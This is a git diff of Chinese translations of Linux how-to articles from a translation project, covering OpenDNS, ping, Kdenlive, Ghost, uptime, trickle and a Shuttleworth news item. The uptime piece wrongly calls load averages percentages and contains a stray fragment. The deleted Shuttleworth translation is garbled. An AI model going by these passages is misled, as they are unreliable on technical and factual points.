因特网是个大熔炉。无论是好人还是坏人,都可以连接到和我们一样的网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
|
||||
|
||||
就像人们所说的那样,因特网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供有免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入因特网真是一件好事情。
|
||||
|
||||
但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。
|
||||
|
||||
正因为此,推荐连入因特网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
|
||||
|
||||
当寻找添加一个额外的安全层去保护你的机器时,使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成,尽力对其每一部分都进行相应保护是保证安全的最好方法。
|
||||
|
||||
首先,你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器,因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。
|
||||
|
||||
这是一个简明手册,告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。
|
||||
|
||||
sudo gedit /etc/dhcp/dhclient.conf
|
||||
|
||||
最后,在打开的文件中添加下面一行,然后保存。
|
||||
|
||||
supersede domain-name-servers 208.67.222.222,208.67.220.220;
|
||||
|
||||
重启你的电脑,祝你玩的开心!
|
||||
|
||||

|
||||
|
||||
好好享受吧!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,69 +0,0 @@
|
||||
五个 ping 工具的实例
|
||||
|
||||
================================================================================
|
||||
|
||||
### 什么是 ping 工具###
|
||||
|
||||
在传授一些关于ping工具真实大观的实例前,先让我来介绍一下这个命令行工具及其目的.ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性.其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号.该方法同样生动描述了ping网络工具的工作原理.ping工具对一台主机发送回应请求然后等待ICMP响应.
|
||||
|
||||
用于实践ping工具的一些例子:
|
||||
|
||||
### 查询主机的IP地址 ###
|
||||
|
||||
有时候你需要得到某一台主机的IP地址,如图一.只需要键入ping命令后面跟上要查询的主机名.
|
||||
|
||||
ping www.omgubuntu.com
|
||||
|
||||

|
||||
|
||||
### 查询正在使用的ping工具的版本信息 ###
|
||||
|
||||
用 -V 选项可以用来查询你手头上ping工具的版本信息.键入下列命令显示正在使用的ping工具的版本信息.
|
||||
|
||||
ping -V
|
||||
|
||||
正如你从图二见到的,我正在使用的是“ping utility,iputils-sss20101006”
|
||||
|
||||

|
||||
|
||||
### 自动退出 ping ###
|
||||
|
||||
当你用‘ping 主机’命令ping一台机器时,ping自己无法停止,你必需按下CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量.使用-c选项,当网络管理员(其实普通用户也可以)发送完指定数量的包之后,无需按CTRL+C,ping进程就会自动停止.
|
||||
|
||||
ping -c 13 127.0.0.1
|
||||
|
||||
上列的命令发送了13个包到我的本地主机上.
|
||||
|
||||

|
||||
|
||||
正如你从图三看到的,我并没有按CTRL+C,而ping自动退出了.
|
||||
|
||||
### 指定数据包之间的时间间隔 ###
|
||||
|
||||
你知道ping每秒钟发送一个数据包吗?你喜欢快一点还是慢一点?用 -i 选项能指定包之间的时间间隔.用下列命令快速发送或慢速发送包.
|
||||
|
||||
### 每0.13秒发送一个包 ###
|
||||
|
||||
ping -i 0.13
|
||||
|
||||

|
||||
|
||||
### 每13秒发送一个包 ###
|
||||
|
||||
ping -i 13
|
||||
|
||||
### 结合 -i 选项和 -c 选项 ###
|
||||
|
||||
ping -c 13 -i 3
|
||||
|
||||
总共花费39秒发出13个数据包,数据包的时间间隔为三秒.
|
||||
|
||||

|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/five-examples-ping-utility/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,95 @@
|
||||
如何在Linux上制作一个YouTube屏幕录像视频教程
|
||||
================================================================================
|
||||
一幅画胜过一千句话,一个精心设计的指导视频几乎无价。Linux有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像,并学习如何在YouTube上分享精彩的屏幕录像。
|
||||
|
||||
一台安装了Kdenlive和Audacit软件的Linux系统PC,一个质量好的麦克风或耳机,和一个YouTube的帐号就是你需要准备的全部。(是的,除了Youtube还有很多其他的免费视频共享服务,欢迎您来探索它们。)YouTube属于Google,因此Google试图诱导你与全世界共享任何人和事。如果这不是你想做的,请说no。
|
||||
|
||||
我们的工作流程是这样的:
|
||||
|
||||
- 用Kdenlive录制屏幕录像
|
||||
- 用Audacity录制音轨
|
||||
- 添加音轨到Kdenlive
|
||||
- 上传到YouTube
|
||||
- 全世界看你的视频,好开心
|
||||
|
||||
kdenlive支持最流行的数字视频格式,包括AVI,MP4,H.264,和MOV。它支持的图像文件,如GIF,PNG,SVG和TIFF;支持的音频文件格式,包括非压缩的PCM,Vorbis,WAV,MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之,它可以处理很多东西。
|
||||
|
||||
你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单,保持杂乱的题外话,方言,和去除背景噪声降到最低点。我喜欢用一个质量好的耳机做陈述,因为你不必担心话筒位置,你可以听你自己反复地诉说而不影响到你身边的人。
|
||||
|
||||
Kdenlive的文档已过期,它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4,其实不需要Recordmydesktop。
|
||||
|
||||

|
||||
|
||||
*图 1:默认配置*
|
||||
|
||||
### 制作屏幕录像 ###
|
||||
|
||||
首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置,因为你随时都可以改变它们。这是我的屏幕录像的设置:高清720p每秒30帧,1280x720的屏幕尺寸。如何知道使用什么设置项? [YouTube tells you][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps(图1),设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab(图2)。虽然你也可以选择捕捉全屏幕,但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样,则YouTube将增加Pillarboxes来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕,而不是Pillarboxes。
|
||||
|
||||

|
||||
|
||||
*Figure 2: Screencast screen size.*图 2:屏幕录像的屏幕大小
|
||||
|
||||
默认的YouTube视频播放器的大小是640x360标清320p,又小又模糊。播放器控制着小屏,大屏,全屏,和多个质量等级。这些设置只有你的观众会使用,640x360标清320p看起来真的不咋样,但郁闷的是你无法改变这个缺陷。尽管如此,你仍然想制作高质量视频的话,你可以添加一些文字来提醒观众尝试更好的配置。
|
||||
|
||||
### 保存你的项目 ###
|
||||
|
||||
在你做任何其他事情之前,点击 File->Save as 保存您的项目,并记住周期性地保存它。
|
||||
|
||||
### 抓取屏幕 ###
|
||||
|
||||
抓屏小菜一碟。到Record Monitor,选择Screen Grab,然后点击Record按钮。屏幕上将打开一个带虚线的框,框里面的所有内容都将被录制下来。因此,你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮(图3)。
|
||||
|
||||
|
||||

|
||||
|
||||
*图 3:屏幕抓取*
|
||||
|
||||
单击Stop,自动打开Clip Monitor,你可以预览你的裁剪效果。如果你喜欢它,把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方;一个快速的方法是,你在Project Monitor里播放你的剪辑片,直到播放到你需要移除部分的末尾。然后暂停,然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断,按下Delete键,噗!它就消失了。
|
||||
|
||||
对于剩下的剪辑片断,可能你想要从时间轴上的某一点开始播放,也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错;右键点击你的剪辑片断,点击Add Effect > Fade > Fade from black 和 Fade to black,然后Kdenlive将自动将这两个效果放到开头和末尾。
|
||||
|
||||
### 添加配音 ###
|
||||
|
||||
请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础。以16bit的wav格式导出你的音频文件,然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频陈述的方式是边播视频边说。运气好的话,你不需要做很多的清理工作,你的评述就会与视频同步。
|
||||
|
||||

|
||||
|
||||
*图 4:用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙*
|
||||
|
||||
如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙。(图4)。
|
||||
|
||||
### Rendering Your Project ### 渲染你的项目
|
||||
|
||||
当你满意自己的编辑,并准备导出你的最终格式时,点击Render按钮。这需要几分钟的时间,取决于你的电脑速度和项目大小。网页已有预先设定的值,如果你选择File Rendering, 你可以调整你的设置(图5)。我用File Rendering中的H.264,Video比特率12000, Audio比特率384取得了不错的效果。H.264是一种超压缩格式,使用这种格式发布的文件小但质量好。
|
||||
|
||||
|
||||

|
||||
|
||||
*图 5:选择文件渲染,调整你的网页设置*
|
||||
|
||||
### YouTube Bound ###YouTube的装订
|
||||
|
||||
现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了,如果它看起来很好,那么你就可以将它上传到你的YouTube帐户里了。以典型的Google风格,你的信息中心和视频管理器会混乱又复杂,不过请坚持到处瞅瞅,你会理出头绪的。在你做任何事情之前,你必须对你的账户做资格认证,也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后,你就能上传你的视频了。
|
||||
|
||||
|
||||
你可以上传你的视频,然后标记它们为私人可见或所有人可见。Google有一些编辑工具,你可能会喜欢,比如自动纠错和配背景音乐。不过以我的拙见,几乎没有人是这样子做背景音乐的,所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。
|
||||
|
||||
最有用的编辑工具是自动闭路字幕。我推荐在你所有的视频上使用此功能,不光是为了那些听觉障碍的人,也为了那些需要保持低音量观看的人,确保所有的人都明白你在说什么。字幕工具还创建一个副本。
|
||||
|
||||
另一个有用的工具是注释工具,它支持言语泡沫,标题,聚光灯和标签。当然,在Kdenlive中,这些你都可以做到,所以都可以尝试一下。
|
||||
|
||||
好吧,到这里就结束了,但似乎我们刚刚开始。请分享你的视频,并在评论中添加Youtube的小建议和技巧。如果可以的话,请在[video.linux.com][3]分享你的新的视频教程,并加入100个Linux教程活动。
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/
|
||||
|
||||
译者:[coolpigs](https://github.com/coolpigs) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648
|
||||
[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux
|
||||
[3]:http://video.linux.com/100-linux-tutorials
|
@ -1,12 +1,12 @@
|
||||
如何在Linux平台上安装Ghost博客平g
|
||||
如何在Linux平台上安装Ghost博客平台
|
||||
===
|
||||
[Ghost][1]是一个相对新的博客发布平台,它开始与在众筹平台kickstarter上的一个[£25,000的众筹项目][2]。尽管WordPress依然是网上主流的博客工具,但它现在已然是一个拥有众多第三方开发的功能的通用内容管理平台,发展到现在已经逐渐变得笨重、复杂以至于难以维护。但于此同时,仅仅诞生才几个月的Ghost承诺要做一个纯粹的博客平台,打造一个以用户为中心的精雕细琢的用户界面。
|
||||
[Ghost][1]是一个相对较新的博客发布平台,它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具,但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台,发展到现在已经逐渐变得笨重、复杂以至于难以维护。但于此同时,仅仅诞生才几个月的Ghost坚持以用户为中心,打造精雕细琢的用户界面,承诺要做一个纯粹的博客平台。
|
||||
|
||||
在本手册中,我将描述**如何在Linux平台设置Ghost博客平台**。
|
||||
在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。
|
||||
|
||||
###在Linux上安装Ghost
|
||||
|
||||
Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册),然后下载Ghost的源代码。记者按照下面的步骤安装:
|
||||
Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册),然后下载Ghost的源代码。记着按照下面的步骤安装:
|
||||
|
||||
$ sudo mkdir -p /var/www/ghost
|
||||
$ sudo unzip ghost-0.3.3.zip -d /var/www/ghost
|
||||
@ -14,7 +14,7 @@ Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系
|
||||
$ sudo npm install --production
|
||||
|
||||
###启动前先配置Ghost
|
||||
在你启动Ghost之前,按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机的IP地址替换掉“YOUR_IP”。
|
||||
在你启动Ghost之前,按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR_IP”。
|
||||
|
||||
$ cd /var/www/ghost
|
||||
$ sudo cp config.example.js config.js
|
||||
@ -24,14 +24,14 @@ Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系
|
||||
|
||||
搞到这一步,你就可以准备去启动Ghost咯。
|
||||
|
||||
要注意的是,Ghost可以以两种不同的模式运行:“开发者模式”和“用户模式”。为了安全起见,Ghost将两种模式的配置文件(/var/www/ghost/content/data)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db)。
|
||||
要注意的是,Ghost可以以两种不同的模式运行:“开发者模式”和“用户模式”。为了安全起见,Ghost将两种模式的配置文件(/var/www/ghost/config.js)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db)。
|
||||
|
||||
使用一下命令就可以启动Ghost。Ghost默认以开发者模式运行。
|
||||
使用以下命令就可以启动Ghost。Ghost默认以开发者模式运行。
|
||||
|
||||
$ cd /var/www/ghost
|
||||
$ sudo npm start
|
||||
|
||||
Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运行在<YOUR_IP>:2368(译者注:端口号)。
|
||||
Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运行在<YOUR_IP>:2368(译者注:2368为端口号)。
|
||||
|
||||
[][4]
|
||||
|
||||
@ -73,7 +73,7 @@ Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运
|
||||
|
||||
via: http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
|
@ -0,0 +1,51 @@
|
||||
Linux Uptime 命令,让你知道你的系统运行了多久
|
||||
================================================================================
|
||||

|
||||
|
||||
|
||||
系统运行了多久对于一些人来说是无关紧要的,但是对于服务器管理员来说,这是相当重要的信息。服务器在运行重要的应用的时候,必须尽量保证长时间的稳定运行,有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢?
|
||||
|
||||
在Linux 下,我们可以使用uptime 命令,而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。
|
||||
|
||||
语法就像这样:
|
||||
|
||||
$ uptime
|
||||
|
||||
你会在屏幕上看到类似这样的显示:
|
||||
|
||||

|
||||
|
||||
这些信息保存在/proc/uptime 文件中,虽然是以文本方式保存,但是这些数据却不能直接显示,需要我们使用uptime 命令来翻译它。
|
||||
|
||||
下面来讲解如何解读运行uptime 命令后显示的信息:
|
||||
|
||||
### 系统时间 ###
|
||||
|
||||
在图1中,左起第一个信息是14:04:39,这就是当前系统时间,以24小时格式输出。
|
||||
|
||||
### 系统运行时间 ###
|
||||
|
||||
第二个信息**Up 1004 days, 12:20**,这是显示你的系统运行的时间。这里显示的是到目前(即第一个时间)为止,你的系统运行了1004天12小时20分钟,如果你的系统没有运行超过24小时,这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息,当系统重启后将会清零。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 已登陆用户的数量 ###
|
||||
|
||||
第三部分的信息是显示已登陆用户的数量。在图1中,显示的是**1 user** ,即当前登录用户数量。当多个用户在同时登陆系统时,uptime 命令将告诉你用户的数量。
|
||||
|
||||
### 平均负载量 ###
|
||||
|
||||
最后一个信息是系统的平均负载量。回到图1,你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比,即0.25和0.19分别代表着25%和19%。
|
||||
19代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。
|
||||
|
||||
这就是**uptime** 命令的日常使用指导,如果想获取更详细的信息,请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-uptime-command/
|
||||
|
||||
译者:[NearTan](https://github.com/NearTan) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,54 +1,58 @@
|
||||
Linux 下使用Trickle管理和限制下载/上传带宽
|
||||
================================================================================
|
||||
你有没有遇到过一个程序占用了你所有的网络带宽的情况?如果你遇到过,那么你就需要限制带宽的应用。或者你是一个系统管理员或者只是一名Linux用户,你需要学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。
|
||||
你有没有遇到过一个程序占用了你所有的网络带宽的情况?如果你遇到过,那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户,您都要学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。
|
||||
|
||||

|
||||
|
||||
### Trickle 是什么? ###
|
||||
|
||||
**Trickle**是一款用来限制如**Firefox, FTP , SSH**和其他程序带宽使用的带宽限制工具来确保网络带宽。你希望你的**Youtube**音乐体验影响到你的ftp下载么?不过不想,继续阅读这篇文章,你会学到如何安装和使用trickle在你的机器上。
|
||||
**Trickle**是一款带宽整形器,用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽使用。你希望你的**Youtube**音乐体验影响到你的ftp下载么?如果不想,请继续阅读这篇文章,学习如何在你的机器上安装和使用trickle。
|
||||
|
||||
|
||||
### 怎样在Linux上安装Trickle ###
|
||||
|
||||
trickle有它自己的依赖,你必须在安装和使用trickle之前安装了“**libevent 库**”,但这个在大多数现在Linux机器上已经默认安装。
|
||||
trickle工具有它自己的依赖包,安装和使用trickle之前必须安装“**libevent 库**”,不过这个库在大多数现在的Linux机器上已经默认安装。
|
||||
|
||||
|
||||
#### 在 Debian/Ubuntu/Linux Mint 上####
|
||||
|
||||
在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**会有效。请确保源列表已经更新,接着安装你想要的应用。
|
||||
在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**进行安装。请确保源列表已经更新,接着安装你想要的应用。
|
||||
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install trickle
|
||||
|
||||
#### 在 RHEL/CentOS/Fedora 上####
|
||||
|
||||
首先你需要更新系统接着使用接下来的命令安装trickle。
|
||||
首先你需要更新系统,然后使用下面的命令安装trickle。
|
||||
|
||||
# yum update
|
||||
# yum install trickle
|
||||
|
||||
### Trickle如何工作? ###
|
||||
|
||||
Trickle通过控制某个socket数据的写入和读取数量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API,但是区别是trickle还管理socket调用。
|
||||
Trickle通过控制socket数据读写量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API,但是区别是trickle还管理socket调用。
|
||||
|
||||
要注意的是trickle使用动态链接和加载,所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟,显然它可以用来限制一个应用的网络带宽。
|
||||
|
||||
要注意的是trickle使用动态链接和加载,所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket的传输延迟,因此它明显可以用来限制一个应用的网络带宽。
|
||||
|
||||
### Trickle不能做什么? ###
|
||||
|
||||
Trickle不能限制使用**UDP**协议的应用的带宽,它只可用于**TCP**连接,但是你要知道它也并不是可以工作在所有的**TCP**连接。如果你到现在仔细地看了这篇文章,你可以猜到原因是什么。你能回忆起trickle可以工作在使用**Glibc库**应用的事实么?
|
||||
Trickle不能用于限制使用**UDP**协议的应用的带宽,它只可用于**TCP**连接,但是你要知道它也并不是对所有的**TCP**连接有效。如果你一直仔细地看这篇文章,你可以猜到原因是什么。你还记得trickle只对使用**Glibc库**应用有效吧?
|
||||
|
||||
还要说一下,trickle无法工作在使用静态链接的可执行程序上。
|
||||
|
||||
我不得说一下trickle无法工作在使用静态链接的可执行程序上。
|
||||
|
||||
### 确定Trickle是否可运行在某个特定应用上 ###
|
||||
|
||||
既然trickle无法显示每个应用的**上传/下载**速度,那么有理由要使用一个方法来找出trickle可以工作的应用。
|
||||
既然trickle无法限制每个应用的**上传/下载**速度,就应该有个方法找出trickle可以工作的应用。
|
||||
|
||||
**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库,那么你可以使用trickle来限制它的网络带宽使用。
|
||||
**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库,就可以使用trickle来限制它的网络带宽使用。
|
||||
|
||||
**ldd**命令被用来打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**,那么你可以使用man命令来找出关于ldd工具的更多信息。
|
||||
**ldd**命令用于打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**,那么你可以使用man命令来找出关于ldd工具的更多信息。
|
||||
|
||||
# man ldd
|
||||
|
||||
**Filezilla**是一款使用ftp协议传输文件的程序,trickle可以用来限制它的下载或者上传速度么?在你考虑的时候,我使用以下的命令来找出trickle是否可用在filezilla。
|
||||
**Filezilla**是一款使用ftp协议传输文件的程序,trickle可以用来限制它的下载或者上传速度么?在你考虑的时候,我使用以下的命令来找出trickle是否可用于filezilla。
|
||||
|
||||
# ldd filezilla | grep libc.so
|
||||
|
||||
@ -61,12 +65,12 @@ Trickle不能限制使用**UDP**协议的应用的带宽,它只可用于**TCP*
|
||||
|
||||
### 学习如何使用Trickle ###
|
||||
|
||||
打印下面的命令打印trickle工具的**版本**。
|
||||
使用下面的命令打印trickle工具的**版本**。
|
||||
|
||||
root@oltjano-X55CR:~# trickle -V
|
||||
trickle: version 1.07
|
||||
|
||||
Linux有很多命令行工具使得测试(实验)变得有趣和美丽。下载的命令使用[wget 工具][1]来下载最新的Pear OS镜像
|
||||
Linux有很多命令行工具使测试(实验)变得有趣和美丽。下面的命令使用[wget 工具][1]来下载最新的Pear OS镜像.
|
||||
|
||||
root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
|
||||
@ -88,8 +92,7 @@ root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pea
|
||||
Saving to: ‘download’
|
||||
|
||||
0% [ ] 30,78,278 381KB/s eta 1h 50m
|
||||
|
||||
如你所见的输出,下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**,这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。
|
||||
从输出可以看到,下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**,这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。
|
||||
|
||||
root@oltjano-X55CR:~# trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
|
||||
@ -114,15 +117,15 @@ root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pea
|
||||
|
||||
0% [ ] 2,01,550 13.1KB/s eta 21h 5m
|
||||
|
||||
如你所见的输出,下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”意味着下载,你可以像下面的命令那样结合使用 “**-d**”选项和上传选项(**-u**)。
|
||||
从输出可以看到,下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载,还可以结合使用 “**-d**”选项和上传选项(**-u**),如下例所示。
|
||||
|
||||
# trickle -u 100 -d 50 ftp
|
||||
|
||||
上面的命令来限制**ftp 客户端**的上传速度为**100K/s**,下载速度为**50K/s**。你还可以在一个bash里面限制所有的命令的带宽。
|
||||
上面的命令限制**ftp 客户端**的上传速度为**100K/s**,下载速度为**50K/s**。还可以使用下面的命令,限制在一个shell里运行的所有命令的带宽。
|
||||
|
||||
trickle -d 130 -u 13 bash
|
||||
|
||||
每个命令行工具对用户提供了帮助,使用trickle命令使用"-h"选项来找出更多trickle工具的用法。
|
||||
每个命令行工具都对用户提供了帮助,使用"trickle -h"命令来找出更多trickle工具的用法。
|
||||
|
||||
root@oltjano-X55CR:/usr/bin# trickle -h
|
||||
|
||||
@ -143,13 +146,13 @@ root@oltjano-X55CR:/usr/bin# trickle -h
|
||||
|
||||
### 总结 ###
|
||||
|
||||
本篇文章教你如何安装trickle工具在你的Linux机器上,并用它如何做一些简单的事情。无论你为大公司还是为你自己,trickle都是高级Linux用户的必备工具。
|
||||
本篇文章介绍如何在Linux机器上安装trickle工具,并用它如何做一些简单的事情。无论你为大公司工作还是自己使用,trickle都是高级Linux用户的必备工具。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/manage-and-limit-downloadupload-bandwidth-with-trickle-in-linux/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
|
@ -1,30 +0,0 @@
|
||||
Mark Shuttleworth后悔“茶党”的言论以及Canonical公司犯的错
|
||||
================================================================================
|
||||
**Mark Shuttleworth, Canonical公司的创始人,澄清了他“茶党”的言论和为个人言论而表示歉意。**
|
||||
|
||||

|
||||
|
||||
我们不是每天能看到Mark Shuttleworth连续道歉两次, 很有可能这是他第一次发生这样的事情了。
|
||||
|
||||
[第一个道歉][1] 来自fixubuntu.com的主人,他是一封来自Canonical公司legal团队的收件人。Micah F. Lee,该网站背后的家伙,写了一篇关于这些问题以及在许多论坛和网站对此事进行了长时间讨论。
|
||||
|
||||
Mark Shuttleworth首先在Google+向他道歉,但是他同样在他的个人博客上写了很多正式文本,这通常是保留了有重要意义的事情。
|
||||
|
||||
既然他道歉了,他同样花了一些时间说他后悔[“茶党”][2]评论招惹了许多对Canonical公司的冲动,可能甚至更是如此超过原来的问题,他是疯了。
|
||||
|
||||
“另一面,个人角度,我自己也犯了一个错误,当我使用标签‘open source tea party’指的是Canonical公司非技术性批评家的声音。这是不必要的并且的确可能一样冒犯真的茶党成员(嗨,这里!)以及人民非技术性工作的批评的声音(hello,这儿!)。”
|
||||
|
||||
“刚才我所说的建议里没有我不欢迎像这种技术反馈的意思,但是一些假定我拒绝了所有的反馈包括技术评论。我没有 – 我谈论软件的批评在软件本身没有中心, 而是一些动机的组合的人写的,或依据它所公布的特定的自由软件许可证,或公司的政策,或公司背后国家的政策,”Mark Shuttleworth说道。
|
||||
|
||||
希望结束在这个事件上的所有的讨论以及人们最终将能够一起在和平号上工作, 实际上是崩溃的根源。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml
|
||||
|
||||
译者:[Vito](https://github.com/vito-L) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml
|
||||
[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
|
